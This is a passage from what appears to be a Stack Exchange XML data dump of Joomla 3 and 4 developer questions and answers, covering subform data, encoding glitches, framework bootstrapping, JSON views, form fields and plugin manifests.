AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32638" PostTypeId="2" ParentId="32637" CreationDate="2022-12-15T09:49:12.677" Score="5" Body="&lt;p&gt;You need to put the subform data one array deeper. This is because your subform has &lt;code&gt;multiple&lt;/code&gt; attribute which means the data should be represented by multiple rows:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$prefillData = array(&amp;quot;contacts&amp;quot; =&amp;gt; array(array(&amp;quot;account&amp;quot; =&amp;gt; 1)));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This should work fine for your case. When reading existing data, be aware that the array keys are built using subform field name suffixed with a numeric index suffix, so the data is stored like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;array(&#xA;    &amp;quot;contacts&amp;quot; =&amp;gt; array(&#xA;        'contacts0' =&amp;gt; array(&amp;quot;account&amp;quot; =&amp;gt; 1),&#xA;        'contacts1' =&amp;gt; array(&amp;quot;account&amp;quot; =&amp;gt; 1),&#xA;        // More rows&#xA;    )&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2022-12-15T09:49:12.677" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32639" PostTypeId="1" AcceptedAnswerId="32684" CreationDate="2022-12-15T20:54:14.257" Score="2" ViewCount="83" Body="&lt;ul&gt;&#xA;&lt;li&gt;Joomla 4.2.5&lt;/li&gt;&#xA;&lt;li&gt;PHP 8.0.26&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;I've just noticed there are strange characters appearing throughout my website text - such as &lt;strong&gt;â€™s&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Some of my pages are created with SP Page Builder, others with the default Joomla articles - they all contain the weird characters.&lt;/p&gt;&#xA;&lt;p&gt;e.g. see the lines below;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;St Columb's School&lt;/strong&gt; now appears as &lt;strong&gt;St Columbâ€™s School&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;each person's potential&lt;/strong&gt; now appears as &lt;strong&gt;each personâ€™s potential&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;If you're not happy&lt;/strong&gt; now appears as &lt;strong&gt;If youâ€™re not happy&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;It seems to be affecting apostrophies. But weirdly, not them all - some pages are fine. There doesn't seem to be any consistency.&lt;/p&gt;&#xA;&lt;p&gt;I've never noticed this until now. A lot of the content has been copied/pasted from various sources, but I always pasted as plain text.&lt;/p&gt;&#xA;&lt;p&gt;Any ideas why this might happen, and how I can fix it without having to manually update the text?&lt;/p&gt;&#xA;&lt;p&gt;I've checked my database and the characters are also there. I created the database using HeidiSQL, the collation is &lt;strong&gt;utf8mb4_unicode_ci&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="1538" LastEditorUserId="1538" LastEditDate="2022-12-15T21:28:26.420" LastActivityDate="2023-01-05T16:13:32.180" Title="Strange Characters in Site Text" Tags="|joomla-4.x|database|akeebabackup|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="32640" PostTypeId="2" ParentId="32634" CreationDate="2022-12-16T06:09:30.047" Score="0" Body="&lt;p&gt;Symbol imports using &lt;code&gt;use&lt;/code&gt; statement are file-scoped (except when using inside namespace blocks). Which means you have to import them in the file where it's used. So you have to move &lt;code&gt;use Joomla\CMS\Uri\Uri;&lt;/code&gt; statement from &lt;code&gt;index.php&lt;/code&gt; to &lt;code&gt;header.php&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2022-12-16T06:09:30.047" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32641" PostTypeId="1" AcceptedAnswerId="32663" CreationDate="2022-12-18T07:42:11.273" Score="3" ViewCount="505" Body="&lt;p&gt;Please advise on how to access the Joomla framework in 3.10 using an external php file in Joomla 3 which can work in Joomla 4 too&lt;/p&gt;&#xA;&lt;p&gt;I am getting this issue:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Warning: Constant JPATH_BASE already defined in F:\wamp64\www\16december2022\includes\app.php on line 21&#xA;Call Stack&#xA;#   Time    Memory  Function    Location&#xA;1   0.0005  367960  {main}( )   ...\getmodel.php:0&#xA;2   0.0258  794208  require_once( 'F:\wamp64\www\16december2022\includes\app.php )  ...\getmodel.php:10&#xA;3   0.0263  794272  define( $constant_name = 'JPATH_BASE', $value = 'F:\\wamp64\\www\\16december2022' ) ...\app.php:21&#xA;&#xA;( ! ) Warning: file_get_contents(F:\wamp64\www\16december2022/templates/system/build_incomplete.html): Failed to open stream: No such file or directory in F:\wamp64\www\16december2022\includes\app.php on line 27&#xA;Call Stack&#xA;#   Time    Memory  Function    Location&#xA;1   0.0005  367960  {main}( )   ...\getmodel.php:0&#xA;2   0.0258  794208  require_once( 'F:\wamp64\www\16december2022\includes\app.php )  ...\getmodel.php:10&#xA;3   0.0301  794560  file_get_contents( $filename = 'F:\\wamp64\\www\\16december2022/templates/system/build_incomplete.html' )   ...\app.php:27&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Code of getmodel.php which is working when using JFactory, but when using Factory not working. I think JFactory is not recommended in Joomla 4x and onwards&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;define('_JEXEC', 1);&#xA;define('JPATH_BASE', dirname(__FILE__));  &#xA;require_once JPATH_BASE . '/includes/defines.php';&#xA;require_once JPATH_BASE . '/includes/framework.php';&#xA;require_once JPATH_BASE . '/includes/app.php';&#xA;&#xA;use Joomla\CMS\Factory;&#xA;$mainframe = Factory::getApplication('site');&#xA;    &#xA;     // GET using JInput&#xA;    $jinput  = Factory::getApplication()-&amp;gt;input;&#xA;    $ModelId = $jinput-&amp;gt;get('s', '', 'INT');&#xA;&#xA;    $db = JFactory::getDBO();   &#xA;    $query = $db-&amp;gt;getQuery(true);&#xA;&#xA;    $query-&amp;gt; function&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;created app.php and modified last line as referred in &lt;a href=&quot;https://issues.joomla.org/tracker/joomla-cms/34586&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://issues.joomla.org/tracker/joomla-cms/34586&lt;/a&gt; in includes folder&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;/**&#xA; * @package    Joomla.Site&#xA; *&#xA; * @copyright  (C) 2017 Open Source Matters, Inc. &amp;lt;https://www.joomla.org&amp;gt;&#xA; * @license    GNU General Public License version 2 or later; see LICENSE.txt&#xA; */&#xA;&#xA;defined('_JEXEC') or die;&#xA;&#xA;// Saves the start time and memory usage.&#xA;$startTime = microtime(1);&#xA;$startMem  = memory_get_usage();&#xA;&#xA;if (file_exists(dirname(__DIR__) . '/defines.php')) {&#xA;    include_once dirname(__DIR__) . '/defines.php';&#xA;}&#xA;&#xA;if (!defined('_JDEFINES')) {&#xA;    define('JPATH_BASE', dirname(__DIR__));&#xA;    require_once JPATH_BASE . '/includes/defines.php';&#xA;}&#xA;&#xA;// Check for presence of vendor dependencies not included in the git repository&#xA;if (!file_exists(JPATH_LIBRARIES . '/vendor/autoload.php') || !is_dir(JPATH_ROOT . '/media/vendor')) {&#xA;    echo file_get_contents(JPATH_ROOT . '/templates/system/build_incomplete.html');&#xA;&#xA;    exit;&#xA;}&#xA;&#xA;require_once JPATH_BASE . '/includes/framework.php';&#xA;&#xA;// Set profiler start time and memory usage and mark afterLoad in the profiler.&#xA;JDEBUG &amp;amp;&amp;amp; \Joomla\CMS\Profiler\Profiler::getInstance('Application')-&amp;gt;setStart($startTime, $startMem)-&amp;gt;mark('afterLoad');&#xA;&#xA;// Boot the DI container&#xA;$container = \Joomla\CMS\Factory::getContainer();&#xA;&#xA;/*&#xA; * Alias the session service keys to the web session service as that is the primary session backend for this application&#xA; *&#xA; * In addition to aliasing &amp;quot;common&amp;quot; service keys, we also create aliases for the PHP classes to ensure autowiring objects&#xA; * is supported.  This includes aliases for aliased class names, and the keys for aliased class names should be considered&#xA; * deprecated to be removed when the class name alias is removed as well.&#xA; */&#xA;$container-&amp;gt;alias('session.web', 'session.web.site')&#xA;    -&amp;gt;alias('session', 'session.web.site')&#xA;    -&amp;gt;alias('JSession', 'session.web.site')&#xA;    -&amp;gt;alias(\Joomla\CMS\Session\Session::class, 'session.web.site')&#xA;    -&amp;gt;alias(\Joomla\Session\Session::class, 'session.web.site')&#xA;    -&amp;gt;alias(\Joomla\Session\SessionInterface::class, 'session.web.site');&#xA;&#xA;// Instantiate the application.&#xA;$app = $container-&amp;gt;get(\Joomla\CMS\Application\SiteApplication::class);&#xA;&#xA;// Set the application as global app&#xA;\Joomla\CMS\Factory::$application = $app;&#xA;&#xA;// Execute the application.&#xA;var_dump($app);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5654" LastEditorUserId="12352" LastEditDate="2022-12-18T13:27:17.717" LastActivityDate="2022-12-26T18:25:15.843" Title="Acess Joomla framework from external php file" Tags="|joomla-3.x|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32643" PostTypeId="1" AcceptedAnswerId="32644" CreationDate="2022-12-20T07:32:57.610" Score="0" ViewCount="118" Body="&lt;p&gt;I like to respond a Json like this&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;'{&amp;quot;name&amp;quot;:&amp;quot;John&amp;quot;, &amp;quot;age&amp;quot;:30, &amp;quot;car&amp;quot;:null}'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;How is this possible with thos class:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/joomla/joomla-cms/blob/4.2-dev/libraries/src/MVC/View/JsonApiView.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/joomla/joomla-cms/blob/4.2-dev/libraries/src/MVC/View/JsonApiView.php&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;It looks as I only can have link, data and jsonapi at the first Level of the JsonResponse.&lt;/p&gt;&#xA;" OwnerUserId="16197" LastActivityDate="2023-01-19T09:00:25.100" Title="Add extra values to the the document in JSON API Response" Tags="|json|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="32644" PostTypeId="2" ParentId="32643" CreationDate="2022-12-20T08:50:01.270" Score="1" Body="&lt;p&gt;&lt;code&gt;Joomla\CMS\MVC\View\JsonApiView&lt;/code&gt; view class is meant for generating JSON:API compliant output. For generic/custom JSON you can use the &lt;code&gt;Joomla\CMS\MVC\View\JsonView&lt;/code&gt; class instead.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2022-12-20T08:50:01.270" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="32645" PostTypeId="1" AcceptedAnswerId="32646" CreationDate="2022-12-21T06:39:13.500" Score="1" ViewCount="95" Body="&lt;p&gt;In the configuration.php of Joomla 4.2, entries are changed when saving.&lt;/p&gt;&#xA;&lt;p&gt;Entries with = '1'; are changed to = true; and entries with = '0'; or = ''; are changed to = false;.&lt;/p&gt;&#xA;&lt;p&gt;I think this has to do with types. Is that correct?&lt;/p&gt;&#xA;" OwnerUserId="16197" LastEditorUserId="12352" LastEditDate="2022-12-22T21:14:30.313" LastActivityDate="2022-12-22T21:14:30.313" Title="Entry values are changed in configuration.php" Tags="|joomla-4|configuration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32646" PostTypeId="2" ParentId="32645" CreationDate="2022-12-21T06:54:13.930" Score="2" Body="&lt;p&gt;That's correct. The &lt;a href=&quot;https://api.joomla.org/framework-2/classes/Joomla-Registry-Format-Php.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;Joomla\Registry\Format\Php&lt;/code&gt;&lt;/a&gt; class responsible for writing the configuration file now supports outputting correct data types. Previously values were essentially cast to string so, for example, boolean &lt;code&gt;false&lt;/code&gt; resulted in an empty string. What data types are used for writing &lt;code&gt;configuration.php&lt;/code&gt; depends on the form field filters defined in the form definition.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2022-12-21T06:54:13.930" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32648" PostTypeId="1" CreationDate="2022-12-22T06:56:05.453" Score="0" ViewCount="89" Body="&lt;p&gt;I changed&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field name=&amp;quot;n_date&amp;quot; default=&amp;quot;0000-00-00&amp;quot; class=&amp;quot;inputbox&amp;quot; format=&amp;quot;%Y-%m-%d&amp;quot; translateformat=&amp;quot;false&amp;quot; showtime=&amp;quot;false&amp;quot; singleheader=&amp;quot;false&amp;quot; todaybutton=&amp;quot;false&amp;quot; weeknumbers=&amp;quot;false&amp;quot; filltable=&amp;quot;false&amp;quot; type=&amp;quot;calendar&amp;quot; label=&amp;quot;Date&amp;quot; description=&amp;quot;COM_LATESTNEWS_FORM_DESC_DETAIL_N_DATE&amp;quot; hint=&amp;quot;COM_LATESTNEWS_FORM_LBL_DETAIL_N_DATE&amp;quot;/&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;to&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field name=&amp;quot;n_date&amp;quot; default=&amp;quot;&amp;quot; type=&amp;quot;calendar&amp;quot; class=&amp;quot;inputbox&amp;quot; filter=&amp;quot;safehtml&amp;quot; label=&amp;quot;COM_LATESTNEWS_FORM_LBL_DETAIL_N_DATE&amp;quot; description=&amp;quot;COM_LATESTNEWS_FORM_DESC_DETAIL_N_DATE&amp;quot; hint=&amp;quot;COM_LATESTNEWS_FORM_LBL_DETAIL_N_DATE&amp;quot; required=&amp;quot;true&amp;quot;/&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Reason of changing - date was incorrect showing in previous version of jan 2022&#xA;Now after changing whats happening is that n_date field coming as blank and has to manually select today date on clicking.&lt;/p&gt;&#xA;&lt;p&gt;Is there a way by which default date should be picked and showed as today date when not selected by default&lt;/p&gt;&#xA;" OwnerUserId="5654" LastActivityDate="2022-12-22T07:08:03.087" Title="Default date as today date" Tags="|date|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32649" PostTypeId="2" ParentId="32648" CreationDate="2022-12-22T07:08:03.087" Score="1" Body="&lt;p&gt;To show the current date or timedate as the default, you can simply use &lt;code&gt;default=&amp;quot;now&amp;quot;&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Note, that you will also need to set &lt;code&gt;translateformat=&amp;quot;true&amp;quot;&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;You can read more about the Joomla Calendar Field &lt;a href=&quot;https://docs.joomla.org/Calendar_form_field_type&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2022-12-22T07:08:03.087" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="32653" PostTypeId="1" AcceptedAnswerId="32654" CreationDate="2022-12-23T06:57:21.580" Score="0" ViewCount="135" Body="&lt;p&gt;In J3, xml field attributes label and description appears (language converted) as popover when class hasPopover is included. In J4 only label is rendered but not description in a popover. Adding data-bs-content=&amp;quot;COM_MYCOMPONENT_FIELD_DESCRIPTION&amp;quot; as xml property, the popover is shown but language is unconverted.&lt;/p&gt;&#xA;&lt;p&gt;Is there a way to render description attribute in a popover like J3 do? Or it's neccesary remove it from xml field and include it hardcoded in defalt.php?&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;forms/espacio.xml&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;utf-8&amp;quot;?&amp;gt;&#xA;&amp;lt;form addfieldprefix=&amp;quot;Sfi\Component\Aaprueba\Site\Field&amp;quot;&amp;gt;&#xA;&#xA;    &amp;lt;fieldset&amp;gt;&#xA;&#xA;        &amp;lt;field &#xA;            name=&amp;quot;espacio&amp;quot; &#xA;            type=&amp;quot;text&amp;quot; &#xA;            class=&amp;quot;form-control hasPopover&amp;quot;&#xA;            label=&amp;quot;COM_AAPRUEBA_FIELD_ESPACIO_LBL&amp;quot; &#xA;            description=&amp;quot;COM_AAPRUEBA_FIELD_ESPACIO_DESC&amp;quot; &#xA;        /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;strong&gt;src/View/Espacio/HtmlView.php&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;...&#xA;use Joomla\CMS\Form\FormHelper;&#xA;...&#xA;    public function display($tpl = null)&#xA;    {&#xA;        $this-&amp;gt;item     = $this-&amp;gt;get('Item');&#xA;        $this-&amp;gt;form     = $this-&amp;gt;get('Form');&#xA;        &#xA;        HTMLHelper::_('bootstrap.popover', '.hasPopover,[data-bs-toggle=&amp;quot;popover&amp;quot;]', ['trigger' =&amp;gt; 'hover']);&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;strong&gt;tmpl/espacio/default.php&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;...&#xA;// description is not shown&#xA;&amp;lt;?= $this-&amp;gt;form-&amp;gt;getLabel('espacio'); ?&amp;gt;&#xA;&amp;lt;?= $this-&amp;gt;form-&amp;gt;getInput('espacio'); ?&amp;gt;&#xA;...&#xA;&#xA;// Alternative method. Popover is shown but this solutiom is less clean than before&#xA;&amp;lt;span class=&amp;quot;hasPopover&amp;quot; &#xA;    data-bs-original-title=&amp;quot;&amp;lt;?= Text::_('COM_AAPRUEBA_FIELD_ESPACIO_LBL') ?&amp;gt;&amp;quot; &#xA;    data-bs-content=&amp;quot;&amp;lt;?= Text::_('COM_AAPRUEBA_FIELD_ESPACIO_DESC') ?&amp;gt;&amp;quot;&#xA;    &amp;gt;&#xA;    &amp;lt;?= $this-&amp;gt;form-&amp;gt;getLabel('espacio'); ?&amp;gt;&#xA;&amp;lt;/span&amp;gt;&#xA;            &#xA;&amp;lt;?= $this-&amp;gt;form-&amp;gt;getInput('espacio'); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="16614" LastActivityDate="2022-12-23T07:22:56.333" Title="J4. Showing a Popover in field label" Tags="|joomla-4.x|bootstrap|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32654" PostTypeId="2" ParentId="32653" CreationDate="2022-12-23T07:22:56.333" Score="0" Body="&lt;p&gt;In J3 the popovers in form fields were rendered in &lt;code&gt;layouts/joomla/form/renderlabel.php&lt;/code&gt; layout. In J4, instead of popovers, an inline description is shown. It's rendered by &lt;code&gt;layouts/joomla/form/renderfield.php&lt;/code&gt; layout. To use popovers in all your fields in your component you can make component level override of the &lt;code&gt;renderlabel&lt;/code&gt; layout and the logic for rendering popovers there. And to prevent duplicate description from being shown, create an override of &lt;code&gt;renderfield&lt;/code&gt; layout and remove the inline description there.&lt;/p&gt;&#xA;&lt;p&gt;To create component level overrides, place them in &lt;code&gt;administrator/components/com_example/layouts/joomla/form&lt;/code&gt; directory.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2022-12-23T07:22:56.333" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="32655" PostTypeId="1" CreationDate="2022-12-23T08:11:55.360" Score="0" ViewCount="428" Body="&lt;p&gt;My code&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;use Joomla\CMS\Language\Text;&#xA;&#xA;use Joomla\CMS\Access\Access;&#xA;use Joomla\CMS\Component\ComponentHelper;&#xA;use Joomla\CMS\Factory;&#xA;use Joomla\CMS\Router\Route;&#xA;use Joomla\Component\Content\Administrator\Extension\ContentComponent;&#xA;use Joomla\Component\Content\Site\Helper\RouteHelper;&#xA;&#xA;\defined('_JEXEC') or die;&#xA;&#xA;$app = Factory::getApplication('Site');&#xA;&#xA;// Get an instance of the generic articles model&#xA;$model = $app-&amp;gt;bootComponent('com_content')-&amp;gt;getMVCFactory()-&amp;gt;createModel('Articles', 'Site', ['ignore_request' =&amp;gt; true]);&#xA;$appParams = $app-&amp;gt;getParams();&#xA;$model-&amp;gt;setState('params', $appParams);&#xA;$model-&amp;gt;setState('filter.published', ContentComponent::CONDITION_PUBLISHED);&#xA;$items = $model-&amp;gt;getItems();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The first error in the line&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$appParams = $app-&amp;gt;getParams();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Call to undefined method Joomla\CMS\Application\AdministratorApplication::getParams()&lt;/p&gt;&#xA;&lt;p&gt;The second error in the line&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$items = $model-&amp;gt;getItems();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Call to a member function get() on null&lt;/p&gt;&#xA;&lt;p&gt;1   ()  JROOT\components\com_content\src\Model\ArticlesModel.php:273&lt;/p&gt;&#xA;&lt;p&gt;2   Joomla\Component\Content\Site\Model\ArticlesModel-&amp;gt;getListQuery()&#xA;JROOT\libraries\src\MVC\Model\ListModel.php:215&lt;/p&gt;&#xA;&lt;p&gt;3   Joomla\CMS\MVC\Model\ListModel-&amp;gt;_getListQuery()&#xA;JROOT\libraries\src\MVC\Model\ListModel.php:264&lt;/p&gt;&#xA;&lt;p&gt;4   Joomla\CMS\MVC\Model\ListModel-&amp;gt;getItems()&#xA;JROOT\components\com_content\src\Model\ArticlesModel.php:640&lt;/p&gt;&#xA;&lt;p&gt;5   Joomla\Component\Content\Site\Model\ArticlesModel-&amp;gt;getItems()&#xA;JROOT\administrator\modules\mod_antajaxrequest\articlelist.php:21&lt;/p&gt;&#xA;&lt;p&gt;Tell me how to get a list of site articles in the administrative panel, in the module parameters?&#xA;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="14793" LastActivityDate="2022-12-23T08:40:58.160" Title="Joomla 4 Get a list of site articles in the module settings" Tags="|articles|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32656" PostTypeId="2" ParentId="32655" CreationDate="2022-12-23T08:40:58.160" Score="2" Body="&lt;p&gt;&lt;code&gt;Joomla\CMS\Factory::getApplication()&lt;/code&gt; no longer takes any arguments. It always return the active application instance. &lt;code&gt;Joomla\CMS\Application\AdministratorApplication&lt;/code&gt; doesn't have a &lt;code&gt;getParams()&lt;/code&gt; method so that's where the error comes. If really needed, you can get the site application from the service container:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Joomla\CMS\Factory::getContainer()-&amp;gt;get(Joomla\CMS\Application\SiteApplication::class);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Using application within application, however, is a bad practice and won't work correctly most of the time. In your case you don't really need this anyways - params from site application are request-specific and will not work correctly in backend. Essentially &lt;code&gt;SiteApplication::getParams()&lt;/code&gt; is used to merge component params with active menu item params, which are not relevant when running this code in backend or generally when the request is ignored using &lt;code&gt;ignore_request&lt;/code&gt; option. So you can pass just the component params:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$model-&amp;gt;setState('params', clone ComponentHelper::getParams('com_content'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Another option would be to, of course, use the backend model instead. It will return the same articles but without running any code that is relevant only to frontend.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2022-12-23T08:40:58.160" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="32658" PostTypeId="2" ParentId="31502" CreationDate="2022-12-23T12:59:24.253" Score="0" Body="&lt;p&gt;I've used @Sharky's (thanks!) solution like:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;use Joomla\CMS\User\UserFactoryInterface;&#xA;&#xA;$user = Factory::getContainer()-&amp;gt;get(UserFactoryInterface::class)-&amp;gt;loadUserById($userid);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13472" LastActivityDate="2022-12-23T12:59:24.253" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32659" PostTypeId="1" AcceptedAnswerId="32660" CreationDate="2022-12-23T23:09:36.447" Score="2" ViewCount="569" Body="&lt;p&gt;I need a custom profile plugin, so I copied the default user profile, renamed some folders/files, and installed it.  It installs as if fine and I can activate it, but the fields don't actually display in the registration form.  I activate the default user profile, and it does display the fields. I feel like that means it's not pulling the customprofile.xml file, but I can't tell why not.&#xA;&lt;br&gt;&#xA;&lt;strong&gt;File Structure:&lt;/strong&gt;&#xA;&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/HXGCq.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/HXGCq.png&quot; alt=&quot;file structure&quot; /&gt;&lt;/a&gt;&#xA;&lt;br&gt;&lt;br&gt;&#xA;&lt;strong&gt;customprofile.xml&lt;/strong&gt;&#xA;&lt;br&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;utf-8&amp;quot;?&amp;gt;&#xA;&amp;lt;extension type=&amp;quot;plugin&amp;quot; group=&amp;quot;user&amp;quot; method=&amp;quot;upgrade&amp;quot;&amp;gt;&#xA;    &amp;lt;name&amp;gt;PLG_CUSTOM_USER_PROFILE&amp;lt;/name&amp;gt;&#xA;    &amp;lt;author&amp;gt;QTown&amp;lt;/author&amp;gt;&#xA;    &amp;lt;creationDate&amp;gt;2022-12&amp;lt;/creationDate&amp;gt;&#xA;    &amp;lt;copyright&amp;gt;&amp;lt;/copyright&amp;gt;&#xA;    &amp;lt;license&amp;gt;GNU General Public License version 2 or later; see LICENSE.txt&amp;lt;/license&amp;gt;&#xA;    &amp;lt;authorEmail&amp;gt;myemail@here.com&amp;lt;/authorEmail&amp;gt;&#xA;    &amp;lt;authorUrl&amp;gt;www.mysite.org&amp;lt;/authorUrl&amp;gt;&#xA;    &amp;lt;version&amp;gt;1.0.0&amp;lt;/version&amp;gt;&#xA;    &amp;lt;description&amp;gt;PLG_CUSTOM_USER_PROFILE_XML_DESCRIPTION&amp;lt;/description&amp;gt;&#xA;    &amp;lt;namespace path=&amp;quot;src&amp;quot;&amp;gt;Qtown\Plugin\User\Customprofile&amp;lt;/namespace&amp;gt;&#xA;    &amp;lt;files&amp;gt;&#xA;        &amp;lt;filename plugin=&amp;quot;customprofile&amp;quot;&amp;gt;customprofile.php&amp;lt;/filename&amp;gt;&#xA;        &amp;lt;folder&amp;gt;forms&amp;lt;/folder&amp;gt;&#xA;        &amp;lt;folder&amp;gt;src&amp;lt;/folder&amp;gt;&#xA;    &amp;lt;/files&amp;gt;&#xA;    &amp;lt;languages&amp;gt;&#xA;        &amp;lt;language tag=&amp;quot;en-GB&amp;quot;&amp;gt;language/en-GB/plg_user_customprofile.ini&amp;lt;/language&amp;gt;&#xA;        &amp;lt;language tag=&amp;quot;en-GB&amp;quot;&amp;gt;language/en-GB/plg_user_customprofile.sys.ini&amp;lt;/language&amp;gt;&#xA;    &amp;lt;/languages&amp;gt;&#xA;    &amp;lt;config&amp;gt;&#xA;        &amp;lt;fields name=&amp;quot;params&amp;quot;&amp;gt;&#xA;            &amp;lt;fieldset name=&amp;quot;basic&amp;quot; addfieldprefix=&amp;quot;Joomla\Component\Content\Administrator\Field&amp;quot;&amp;gt;&#xA;                &amp;lt;field&#xA;                    name=&amp;quot;register-require-user&amp;quot;&#xA;                    type=&amp;quot;spacer&amp;quot;&#xA;                    label=&amp;quot;PLG_CUSTOM_USER_PROFILE_FIELD_NAME_REGISTER_REQUIRE_USER&amp;quot;&#xA;                    class=&amp;quot;text&amp;quot;&#xA;                /&amp;gt;&#xA;&#xA;                &amp;lt;field&#xA;                    name=&amp;quot;register-require_address1&amp;quot;&#xA;                    type=&amp;quot;list&amp;quot;&#xA;                    label=&amp;quot;PLG_CUSTOM_USER_PROFILE_FIELD_ADDRESS1_LABEL&amp;quot;&#xA;                    default=&amp;quot;1&amp;quot;&#xA;                    filter=&amp;quot;integer&amp;quot;&#xA;                    validate=&amp;quot;options&amp;quot;&#xA;                    &amp;gt;&#xA;                    &amp;lt;option value=&amp;quot;2&amp;quot;&amp;gt;JOPTION_REQUIRED&amp;lt;/option&amp;gt;&#xA;                    &amp;lt;option value=&amp;quot;1&amp;quot;&amp;gt;JOPTION_OPTIONAL&amp;lt;/option&amp;gt;&#xA;                    &amp;lt;option value=&amp;quot;0&amp;quot;&amp;gt;JDISABLED&amp;lt;/option&amp;gt;&#xA;                &amp;lt;/field&amp;gt;&#xA;&#xA;                &amp;lt;field&#xA;                    name=&amp;quot;register-require_address2&amp;quot;&#xA;                    type=&amp;quot;list&amp;quot;&#xA;                    label=&amp;quot;PLG_CUSTOM_USER_PROFILE_FIELD_ADDRESS2_LABEL&amp;quot;&#xA;                    default=&amp;quot;1&amp;quot;&#xA;                    filter=&amp;quot;integer&amp;quot;&#xA;                    validate=&amp;quot;options&amp;quot;&#xA;                    